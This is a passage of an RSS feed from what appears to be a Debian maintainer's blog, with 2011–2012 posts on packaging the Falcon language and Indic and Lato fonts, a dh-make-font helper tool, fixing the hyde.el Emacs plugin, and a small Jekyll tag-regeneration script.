with gmail.com and other Google Talk domains (e.g., you might not be able to see if your contacts
there are online). The folks at Google are working on a solution and we will post again once they
have fixed the problem.
&lt;/blockquote&gt;


&lt;p&gt;Now folks please have patience till a solution comes up and once its in place you should be able
to use the bot without any issue.&lt;/p&gt;
</description>
<pubDate>Sat, 21 Apr 2012 00:00:00 -0700</pubDate>
<link>http://copyninja.info/2012/04/update%3A_issue_in_kannada_dictionary_bot.html</link>
<guid isPermaLink="true">http://copyninja.info/2012/04/update%3A_issue_in_kannada_dictionary_bot.html</guid>
</item>



<item>
<title>Update: Falcon Debian package Status</title>
<description>&lt;p&gt;Recently I wrote about packaging Falcon programming language for Debian. So here
is the status of package.
Package builds multiple binaries and we have successfully separated modules from core
Falcon language component&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;falconpl (Falcon language itself )&lt;/li&gt;
&lt;li&gt;falconpl-dbg (Debug symbols)&lt;/li&gt;
&lt;li&gt;libfalconpl-engine1 (Falcon engine library)&lt;/li&gt;
&lt;li&gt;libfalconpl-engine1-dbg (Debug symbols for Falcon enging)&lt;/li&gt;
&lt;/ol&gt;


&lt;p&gt;Core modules like &lt;em&gt;feathers&lt;/em&gt;  and modules writtein &lt;em&gt;Falcon&lt;/em&gt; itself are part of &lt;em&gt;libfalconpl-engine1&lt;/em&gt;.
Rest of modules are separated into following packages&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;falconpl-mongodb: Mongodb connector module&lt;/li&gt;
&lt;li&gt;falconpl-dbi : Database Abstraction layer&lt;/li&gt;
&lt;li&gt;falconpl-dbi-sqlite3: SQLite3 connector based on DBI module&lt;/li&gt;
&lt;li&gt;falconpl-dbi-postgresql: PostgreSQL connector based on DBI module&lt;/li&gt;
&lt;li&gt;falconpl-dbi-mysql: MySQL connector based on DBI module&lt;/li&gt;
&lt;li&gt;falconpl-dbi-firebird: Firebird DB server connector&lt;/li&gt;
&lt;li&gt;falconpl-curl: Curl bindings for Falcon&lt;/li&gt;
&lt;li&gt;falconpl-dbus: DBus bindings for Falcon&lt;/li&gt;
&lt;li&gt;falconpl-dmtx: Data Matrix reader/writer for Falcon&lt;/li&gt;
&lt;li&gt;falconpl-hpdf: Haru based PDF module for Falcon&lt;/li&gt;
&lt;li&gt;falconpl-gd2: Graphic manipulation module for Falcon&lt;/li&gt;
&lt;/ol&gt;


&lt;p&gt;There are 4 modules which I'm not sure how to build (dependency) or if at all possible to build for Linux
they are &lt;em&gt;dynlib, wopi, sdl, conio&lt;/em&gt;. I need to consult upstream on these modules status and ability to build.&lt;/p&gt;

&lt;h2&gt;Modules not built&lt;/h2&gt;

&lt;p&gt;We didn't build &lt;em&gt;dbi-oracle&lt;/em&gt; and &lt;em&gt;dbi-odbc&lt;/em&gt; modules as these are proprietary software dependant. Additionally
in a conversation with upstream on IRC it was told &lt;em&gt;dynlib&lt;/em&gt; module can't be built for 64bit and X86 version
of Linux because lack of assembler, but I've not fully confirmed this.&lt;/p&gt;

&lt;h2&gt;Legal Issues&lt;/h2&gt;

&lt;p&gt;To enable the &lt;em&gt;curl&lt;/em&gt; bindings I added curl dependency which in turn has dependency on &lt;em&gt;libssl1.0&lt;/em&gt; library which
is part of &lt;em&gt;openssl&lt;/em&gt; source package which is causing lintian thrown  GPL violation error. Kartik will be looking
into this.&lt;/p&gt;

&lt;h2&gt;Patches submitted&lt;/h2&gt;

&lt;p&gt;I've submitted total of &lt;a href=&quot;http://anonscm.debian.org/gitweb/?p=collab-maint/falconpl.git;a=tree;f=debian/patches;h=aac74cd0c32cb33662cf6f6fd5f4b249c708d77a;hb=HEAD&quot;&gt;6 patches&lt;/a&gt; of which 5 patches are already applied to upstream git repo and 6th one is waiting to be applied. In other
words upstream is really helpful to us.&lt;/p&gt;

&lt;p&gt;Well thats all for this week more updates next week (or may be even before that ;-) )&lt;/p&gt;
</description>
<pubDate>Sun, 15 Apr 2012 00:00:00 -0700</pubDate>
<link>http://copyninja.info/2012/04/update%3A_falcon_debian_package_status.html</link>
<guid isPermaLink="true">http://copyninja.info/2012/04/update%3A_falcon_debian_package_status.html</guid>
</item>



<item>
<title>Packaging Falcon Programming Language for Debian</title>
<description>&lt;p&gt;&lt;a href=&quot;http://falconpl.org/&quot;&gt;Falcon&lt;/a&gt; is a programming language which is not yet packaged for
Debian. I saw that the ITP&lt;a href=&quot;http://bugs.debian.org/460591&quot;&gt;#460591&lt;/a&gt; is owned by my Debian
mentor and good friend &lt;a href=&quot;http://0x1f1f.wordpress.com/&quot;&gt;Kartik Mistry&lt;/a&gt;. So I jumped in to
help him finish this package.&lt;/p&gt;

&lt;p&gt;Ok enough of introduction now directly to point. We thought its better to base
the Debian package on upstream Git repository itself so we can do snapshot release like &lt;em&gt;Go Language&lt;/em&gt;
package is doing. So in this post I'm going to give steps we used to do this and also guidelines
on future packaging of Falcon.&lt;/p&gt;

&lt;ol&gt;
1. First step we need to clone the upstream Falcon's git repo. Then duplicate *master* branch into
  *upstream* branch.
  
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;bash&quot;&gt;  git clone http://git.falconpl.org/falcon.git
  git checkout -b upstream
  
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


2. Now by staying on *upstream* branch we made it track the upstream's git repo using following commands
   
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;bash&quot;&gt;   git remote add upstream-falcon http://git.falconpl.org/falcon.git
   git branch --set-upstream upstream-falcon
   
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


3. We made the master branch point to origin which is our collab-maint git repository.
   
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;bash&quot;&gt;   git checkout master
   git remote &lt;span class=&quot;nb&quot;&gt;set&lt;/span&gt;-url origin git.debian.org:/git/collab-maint/falconpl.git
   
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


4. Next is creating the pristine-tar branch so that it will be easy for us to build using *git-buildpackage*
   tools. We just took snapshot of upstream's head and created a tarball and then used *pristine-tar* utility
   to commit it. Then we tagged upstream version
   
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;bash&quot;&gt;   git checkout upstream
   git archive --format&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;tar HEAD | gzip -9 &amp;gt; ../falconpl_0.9.6.8-git20120403.orig.tar.gz
   git tag upstream/0.9.6.8-git20120403
   pristine-tar commit ../falconpl_0.9.6.8-git20120403.orig.tar.gz
   
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

   
5. And finally we copied **debian** directory from Ubuntu's falconpl package into our master branch and modified
   the debian changelog to match our new snapshot version. To release a new version all we need to do is follow 
   step 4 and then additionally merge the upstream with master

&lt;/ol&gt;


&lt;p&gt;So our repo is now in proper shape to be built using git-buildpackage. But we are left with many things to clean
and fix. So things which are currently pending are&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;em&gt;Make copyright file in Debian copyright format 1.0&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Separate out each module falcon builds into separate package. Looks like Ubuntu doesn't install any of modules&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Last but not the least upload it to Debian ( Kartik's task :-) )&lt;/em&gt;&lt;/li&gt;
&lt;/ol&gt;


&lt;p&gt;Even though I'm packaging Falcon for Debian I'm not a Falcon programmer so if there are any Falcon programmer reading this
post and want to help you are always welcome :-).&lt;/p&gt;
</description>
<pubDate>Fri, 06 Apr 2012 00:00:00 -0700</pubDate>
<link>http://copyninja.info/2012/04/packaging_falcon_programming_language_for_debian.html</link>
<guid isPermaLink="true">http://copyninja.info/2012/04/packaging_falcon_programming_language_for_debian.html</guid>
</item>



<item>
<title>Fixing hyde.el</title>
<description>&lt;p&gt;Recently after changing my blog to use jekyll and Github I came across the
&lt;em&gt;hyde.el&lt;/em&gt; an emacs plugin which allows to maintain a jekyll powered blog from
emacs. You can find the post by author &lt;a href=&quot;http://nibrahim.net.in/2010/11/11/hyde_%3A_an_emacs_mode_for_jekyll_blogs.html&quot;&gt;here&lt;/a&gt;
and source code &lt;a href=&quot;https://github.com/nibrahim/Hyde&quot;&gt;here on Github&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;At first site I was very happy about plugin and started using it but I could successfully
use it only once properly then whenever I launch the plugin I get error message&lt;/p&gt;

&lt;blockquote&gt;*zsh:cd blog path no such directory*&lt;/blockquote&gt;


&lt;p&gt;&lt;strong&gt;&lt;em&gt;(Note: I'm a zsh user not sure if this error is particular to zsh only. If you face
same error on other shell please let me know) &lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;After error &lt;em&gt;hyde mode&lt;/em&gt; never showed jekyll blog properly. Looking at the source code
I saw all the statements which were commands were executed using &lt;em&gt;shell-command&lt;/em&gt; elisp
function similar to following&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;cl&quot;&gt;&lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;cmd&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;format&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;quot;cd &amp;#39;%s&amp;#39; &amp;amp;&amp;amp; git diff-files --quiet &amp;#39;%s&amp;#39; &amp;gt; /dev/null&amp;quot;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;repo&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;shell-command&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;cmd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;The cd command in the string was failing some how spoiling all other stuff!.. Probably the &lt;em&gt;~&lt;/em&gt; in
the path to blog was not properly expanded by &lt;em&gt;shell-command&lt;/em&gt;, So I thought why not use elisp in
built &lt;em&gt;cd&lt;/em&gt; function instead and bingo the hyde mode works perfectly fine now!..&lt;/p&gt;

&lt;p&gt;I've raised a &lt;a href=&quot;https://github.com/nibrahim/Hyde/pull/5&quot;&gt;pull request&lt;/a&gt; as I don't like to maintain
a fork. Hope author will consider merging my changes. Hope this fix helps others too. Cya.&lt;/p&gt;
</description>
<pubDate>Fri, 23 Mar 2012 00:00:00 -0700</pubDate>
<link>http://copyninja.info/2012/03/fixing_hyde.el.html</link>
<guid isPermaLink="true">http://copyninja.info/2012/03/fixing_hyde.el.html</guid>
</item>



<item>
<title>Tag Generation problem in Jekyll</title>
<description>&lt;p&gt;After converting my blog to use Jekyll and hosting it on Github one problem I
faced is missing tagging feature for post. I quickly came across &lt;a href=&quot;http://charliepark.org/tags-in-jekyll/&quot;&gt;this&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I used plugin from the site and copied and modified some files from authors websites
git repository. Only way to use tags on Github was to generate tags locally and move
it to Github. To put more light on the point Github disables jekyll plugin so it won't
generate the tags after you push your changes to Github repository. You need to follow
these steps.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Create posts&lt;/li&gt;
&lt;li&gt;Generate site locally by running jekyll&lt;/li&gt;
&lt;li&gt;Copy out _site/tag to your website root folder&lt;/li&gt;
&lt;/ol&gt;


&lt;p&gt;I did this and it worked. But funny part was when I created new post and tagged it and
followed above step for some reason tags won't reflect on respective tag's page and I
had no clue why. After banging head for a while I noticed that Previously coped &lt;em&gt;tag&lt;/em&gt;
folder in site's root is overwriting the tags generated by Jekyll plugin!. Gosh so much
for my stupidity :). Now I've written a script to generate tags after writing each new
post. It deletes the existing &lt;em&gt;tag&lt;/em&gt; directory first and then regenerates tag and copies
it out to website root and then it commits the tag directory. Here it is&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;#!/bin/sh&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;TAG&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;tag/
&lt;span class=&quot;nv&quot;&gt;SITE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;_site/

&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; -d &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;TAG&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;; &lt;span class=&quot;k&quot;&gt;then&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;Deleting ${TAG} directory...&amp;quot;&lt;/span&gt;
    rm -rf &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;TAG&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;fi&lt;/span&gt;

&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;Regenerating Site...&amp;quot;&lt;/span&gt;
jekyll

&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;Copying ${TAG} ...&amp;quot;&lt;/span&gt;
cp -a &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;SITE&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;/&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;TAG&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt; .

&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;Commiting Changes...&amp;quot;&lt;/span&gt;
git commit &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;TAG&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt; -m &lt;span class=&quot;s2&quot;&gt;&amp;quot;Latest TAG build&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Hope that helps. Cya!&lt;/p&gt;
</description>
<pubDate>Tue, 13 Mar 2012 00:00:00 -0700</pubDate>
<link>http://copyninja.info/2012/03/tag_generation_problem_in_jekyll.html</link>
<guid isPermaLink="true">http://copyninja.info/2012/03/tag_generation_problem_in_jekyll.html</guid>
</item>



<item>
<title>Hello Planet! (Debian)</title>
<description>&lt;p&gt;Hello Debian Folks!,&lt;/p&gt;

&lt;p&gt;This is my first post to Planet Debian. I'm vasudev a 24 year old Debian Maintainer from India.
Thanks to &lt;a href=&quot;http://0x1f1f.wordpress.com/&quot;&gt;Kartik&lt;/a&gt; for adding my blog feed to Planet Debian.&lt;/p&gt;

&lt;p&gt;Till next post. Cya!&lt;/p&gt;
</description>
<pubDate>Sun, 11 Mar 2012 00:00:00 -0800</pubDate>
<link>http://copyninja.info/2012/03/hello_planet%21.html</link>
<guid isPermaLink="true">http://copyninja.info/2012/03/hello_planet%21.html</guid>
</item>



<item>
<title>ttf-indic-fonts to fonts-indic transition complete!</title>
<description>&lt;p&gt;We in Debian-IN team where maintaining ttf-indic-fonts a set of fonts for all
Indian language fonts from various origin. This package used to build around 7
to 10 binary package of different Indian language. The source package ttf-indic-fonts
was itself a mess. It was a native package it was mixing all fonts with active
upstream and inactive upstream together which was hard to maintain. Last April
I transitioned this package from old packaging style (which version I don't remember)
to &lt;em&gt;dh7&lt;/em&gt; standard. At the same time &lt;strong&gt;bubulle&lt;/strong&gt; asked me it would be great if I
can rename the package to  &lt;a href=&quot;http://wiki.debian.org/Fonts/PackagingPolicy&quot;&gt;Fonts team new packaging policy&lt;/a&gt;
Even though I was just beginning with Debian packaging I dared to propose a &lt;a href=&quot;http://lists.alioth.debian.org/pipermail/debian-in-workers/2011-May/001587.html&quot;&gt;draft&lt;/a&gt;
:) Well it was in May and now its March 2012 almost one year over and We have
successfully finished the transition and &lt;a href=&quot;http://0x1f1f.wordpress.com/&quot;&gt;Kartik&lt;/a&gt;
uploaded all packages to Debian. Now Debian-IN team maintains 62 packages and
me? Yeah my package count jumped from 12 to 38! Almost close to close to number
of packages Kartik is maintaining :)&lt;/p&gt;

&lt;p&gt;Please do the testing report any bugs! Cya&lt;/p&gt;
</description>
<pubDate>Sat, 10 Mar 2012 00:00:00 -0800</pubDate>
<link>http://copyninja.info/2012/03/ttf-indic-fonts_to_fonts-indic_transition_complete%21.html</link>
<guid isPermaLink="true">http://copyninja.info/2012/03/ttf-indic-fonts_to_fonts-indic_transition_complete%21.html</guid>
</item>



<item>
<title>Lato Fonts for Debian</title>
<description>&lt;p&gt;For giving new look to my blog I was trying out a lot of fonts from the
&lt;em&gt;&lt;a href=&quot;http://fontsquirrel.com&quot;&gt;FontSquirrel&lt;/a&gt;&lt;/em&gt; website but none of them satisfied
my taste. While searching for the fonts &lt;em&gt;identi.ca&lt;/em&gt; website fonts attracted
my notice and the font used was &lt;em&gt;Lato&lt;/em&gt;. I found it and used in this website.&lt;/p&gt;

&lt;p&gt;I was wondering why such a nice font is not present on Debian. Since it was on
&lt;em&gt;FontSquirrel&lt;/em&gt; that means the license should be friendly. So searched for the font
in &lt;em&gt;DuckDuckGo&lt;/em&gt; and found their &lt;a href=&quot;http://www.latofonts.com&quot;&gt;website&lt;/a&gt;. So after all
&lt;em&gt;Lato&lt;/em&gt; fonts where under &lt;em&gt;Open Font License&lt;/em&gt; which is &lt;strong&gt;&lt;em&gt;DFSG&lt;/em&gt;&lt;/strong&gt; compilant. That
was sufficient for me to package it for Debian.&lt;/p&gt;

&lt;p&gt;Here is the &lt;a href=&quot;http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=662111&quot;&gt;ITP for fonts-lato&lt;/a&gt;
and its already uploaded to Debian and waiting in the &lt;a href=&quot;http://ftp-master.debian.org/new/fonts-lato_1.104-1.html&quot;&gt;NewQueue&lt;/a&gt;
Thanks to &lt;a href=&quot;http://www.perrier.eu.org/weblog/bubulle&quot;&gt;bubulle&lt;/a&gt; for uploading it quickly.&lt;/p&gt;

&lt;p&gt;Hope Debian users will love this new font. And yeah I packaged it using &lt;em&gt;dh-make-font&lt;/em&gt; which
I wrote majorly with help of my friends. And one more news is its waiting to be added into
&lt;em&gt;dh-make&lt;/em&gt; package &lt;a href=&quot;http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=658154&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
</description>
<pubDate>Sun, 04 Mar 2012 00:00:00 -0800</pubDate>
<link>http://copyninja.info/2012/03/lato_fonts_for_debian.html</link>
<guid isPermaLink="true">http://copyninja.info/2012/03/lato_fonts_for_debian.html</guid>
</item>



<item>
<title>Moving out of Blogger</title>
<description>&lt;p&gt;Its been a while I wanted to move out of Blogger. The reason for this
act was one I don't like rich text editor and second I can't login to
some website and then undergo pain of writing blog there. I want to write
everything in plain text and in emacs. I don't want even blogging clients.&lt;/p&gt;

&lt;p&gt;Now coming to the point I was thinking what to use as my new client I tried
a few like &lt;em&gt;blosxom&lt;/em&gt; &lt;em&gt;Pivotx&lt;/em&gt; and even wanted to give try to &lt;em&gt;ikiwiki&lt;/em&gt; but
I couldn't get any of these work properly. I came across &lt;strong&gt;&lt;em&gt;Jekyll&lt;/em&gt;&lt;/strong&gt; from my
friend &lt;a href=&quot;http://aravindavk.in&quot; rel=&quot;nofollow&quot;&gt;Aravinda&lt;/a&gt;. So thought
I should give it a try. And here I'm typing this post in emacs and hosting my
website on github using github pages and jekyll.&lt;/p&gt;

&lt;p&gt;I'm no website designer so I borrowed themes and templates for initial site from
&lt;a href=&quot;https://github.com/mojombo/mojombo.github.com&quot;&gt;&lt;em&gt;mojombo&lt;/em&gt;&lt;/a&gt;, creator of Jekyll tool
and co-founder of Github. Some of the pages like Archives, and index page of blog
was taken from the &lt;a href=&quot;http://julianyap.com&quot;&gt;&lt;em&gt;Juliyen Yap&lt;/em&gt; &lt;/a&gt; and menu was
taken from &lt;em&gt;Aravinda's&lt;/em&gt; website. After getting everything into place I modified stuff
to my taste and included some fonts from &lt;a href=&quot;http://www.fontsquirrel.com/&quot;&gt;&lt;em&gt;FontSquirrel&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;So now my blog is almost ready with following TODO remaining&lt;/p&gt;

&lt;blockquote&gt;&lt;p&gt;Create &lt;strong&gt;Projects and Talks&lt;/strong&gt; page &lt;br/&gt;
Create tools to allow renaming of drafts in suitable format &lt;br/&gt;
Migrate disquss comments from blogger to here &lt;br/&gt;
Well write more blogs which are pending because of my lazyness :P &lt;br/&gt;&lt;/p&gt;&lt;/blockquote&gt;

&lt;p&gt;Well hope you will continue reading my blog here. Till next time Cya.&lt;/p&gt;
</description>
<pubDate>Sat, 03 Mar 2012 00:00:00 -0800</pubDate>
<link>http://copyninja.info/2012/03/moving-out-of-blogger.html</link>
<guid isPermaLink="true">http://copyninja.info/2012/03/moving-out-of-blogger.html</guid>
</item>



<item>
<title>dh-make-font - A Font package helper for Debian</title>
<description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Recently I was doing the font transition for &lt;i&gt;ttf-indic-fonts&lt;/i&gt; in &lt;i&gt;Debian-IN&lt;/i&gt; team and by doing the same process again and again I really got bored. This boredom gave rise to this new tool called &lt;i&gt;dh-make-font. &lt;/i&gt;I wish to see it in Debian but I don't know how the font and other packaging guru's of Debian react to my novice tool :). I won't call it tool because its nothing but a simple wrapper on top of &lt;i&gt;dh_make&lt;/i&gt; which modifies the files and removes unnecessary file which is created by &lt;i&gt;dh_make&lt;/i&gt;. I want to tell how you can use this tool to easily package a font according to the &lt;i&gt;Debian Font Task Force's &lt;/i&gt;new packaging &lt;a href=&quot;http://wiki.debian.org/Fonts/PackagingPolicy&quot;&gt;policy&lt;/a&gt;. I'll take the transition of &lt;i&gt;ttf-telugu-fonts&lt;/i&gt; as an example here.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;i&gt;&lt;b&gt;Note that here I assume that reader has a basic knowledge on how to use dh_make and about the common files used in Debian packaging.&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;First lets create a folder with name &lt;i&gt;telu-extra-1.0. &lt;/i&gt;Since most of the font upstream in case of ttf-indic-fonts are inactive &lt;i&gt;Debian-IN &lt;/i&gt;team itself acts as the upstream for these fonts so we don't have any tarballs to startwith.&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Once we have created folder we will copy the font files from old ttf-telugu-fonts into &lt;i&gt;telu-extra-1.0&lt;/i&gt; folder also we will copy the &lt;i&gt;90-ttf-telugu-fonts.conf&lt;/i&gt; to our folder as &lt;i&gt;90-fonts-telu-extra.conf. &lt;/i&gt;Now we have the basic package content ready lets give a shot to &lt;i&gt;dh-make-font&lt;/i&gt;&lt;/div&gt;&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;&lt;i&gt;dh-make-font -c gpl3 --maint 'Debian-IN Team &amp;lt;debian-in-workers@lists.alioth.debian.org&amp;gt; telu-extra-1.0 &lt;/i&gt;&lt;/blockquote&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Now the hard part to explain what I did :). I just ran &lt;i&gt;dh-make-font&lt;/i&gt; on &lt;i&gt;telu-extra-1.0&lt;/i&gt; folder which we prepared above. As you can see &lt;i&gt;-c&lt;/i&gt; switch is borrowed from the &lt;i&gt;dh_make&lt;/i&gt; and all values it accepts are same. You can even give long switch &lt;i&gt;--copyright&lt;/i&gt; if you wish :). &lt;i&gt;--maint &lt;/i&gt;is the new option I've provided specific to &lt;i&gt;dh-make-font&lt;/i&gt;. This option allows you to override &lt;i&gt;Maintainer &lt;/i&gt;of package. If&amp;nbsp; you don't override &lt;i&gt;Debian Fonts Task Force &lt;/i&gt;will be the maintainer. Did you ask why? Yes you guessed it right I prepared this tool to encourage people to maintain fonts as part of &lt;i&gt;Debian Fonts Task Force &lt;/i&gt;team.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Besides the above option you can also specify &lt;i&gt;-p / --package&lt;/i&gt; option to specify package name and version this will be passed over to dh_make. If you get confused just pass &lt;i&gt;-h &lt;/i&gt;or &lt;i&gt;--help &lt;/i&gt;option to the dh-make-font it will give you details :)&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;When you run above command we will see familiar questions appearing for us. Yes it is from &lt;i&gt;dh_make&lt;/i&gt;, use your &lt;i&gt;dh_make&lt;/i&gt; knowledge and proceed &lt;i&gt;dh_make&lt;/i&gt; and &lt;i&gt;dh-make-font&lt;/i&gt; will print few instructions on screen and our package is almost ready for Debian assuming &lt;i&gt;dh_make&lt;/i&gt; didn't find something wrong in our setup. Now we need to do few minor stuffs.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;1. Edit the &lt;i&gt;control &lt;/i&gt;file and add the short and long descriptions remove &lt;i&gt;fontforge&lt;/i&gt; build dependency as we are not building fonts from source (.sfd files). &lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;2. Check the &lt;i&gt;install &lt;/i&gt;and &lt;i&gt;links &lt;/i&gt;file. Links file will be created only if there is a fontconfig related file getting installed. In our case it will be present&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;3. Edit the &lt;i&gt;copyright &lt;/i&gt;file and insert copyright holders name for fonts also remove dh_make template from the file. Insert a valid dep5 &lt;i&gt;Format&lt;/i&gt; uri&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Now run your package building command. In my case I will use pbuilder to get my package ready. Wasn't that helpful? No I'm asking seriously please leave your thoughts and suggestion through comments and help me improve the tool.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;This tool is actually helping me a lot. Within 20 minutes I could finish of 2 packages and get them into &lt;i&gt;Debian-IN &lt;/i&gt;team repository. I hope it will help others too and also will get its place in &lt;i&gt;Debian Fonts Task Force team&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Now are you wondering where you can get the source? My bad here it is http://anonscm.debian.org/gitweb/?p=debian-in/dh-make-font.git;a=summary&lt;i&gt; &lt;/i&gt;&lt;/div&gt;&lt;/div&gt;
</description>
<pubDate>Fri, 23 Dec 2011 00:00:00 -0800</pubDate>
<link>http://copyninja.info/2011/12/dh-make-font-a-font-package-helper-for-debian.html</link>
<guid isPermaLink="true">http://copyninja.info/2011/12/dh-make-font-a-font-package-helper-for-debian.html</guid>
</item>



<item>
<title>My Journey with Debian and FLOSS - Part 2</title>
<description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;i&gt;In my previous &lt;a href=&quot;http://blog.copyninja.info/2011/12/my-journey-with-debian-and-floss-part-1.html&quot;&gt;post&lt;/a&gt; I told till I packaged fonts-pagul for which RFP was filed by Santhosh. Well after that Santhosh filed one more RFP to get Eeyek font which even though I claimed for Debian-IN but I couldn't complete till date :). Well reason is that I got new job and had to shift from my home town to Bangalore. In the mean time I did manage to get aspell-kn into Debian. Funny part is I'm the upstream author of this package and I myself maintain it in Debian too. aspell dictionary for Kannada was my first upstream project after SILPA and Pypdflib. &lt;/i&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;i&gt;Well know while explaining my life with Debian I forgot about other projects which I had done :). Yes some where in between all these packages I ported the Malayalam dictionary bot written by Santhosh and other SMC members for Kannada.&lt;/i&gt; &lt;i&gt;I added some more improvements to cache the meaning retrieved from Kannada wiktionary also I used to cache the words for which I couldn't find the meaning in wiktionary with a hope to contribute it to Kannada wiktionary people so that they can add these undefined words and make Kannada wiktionary 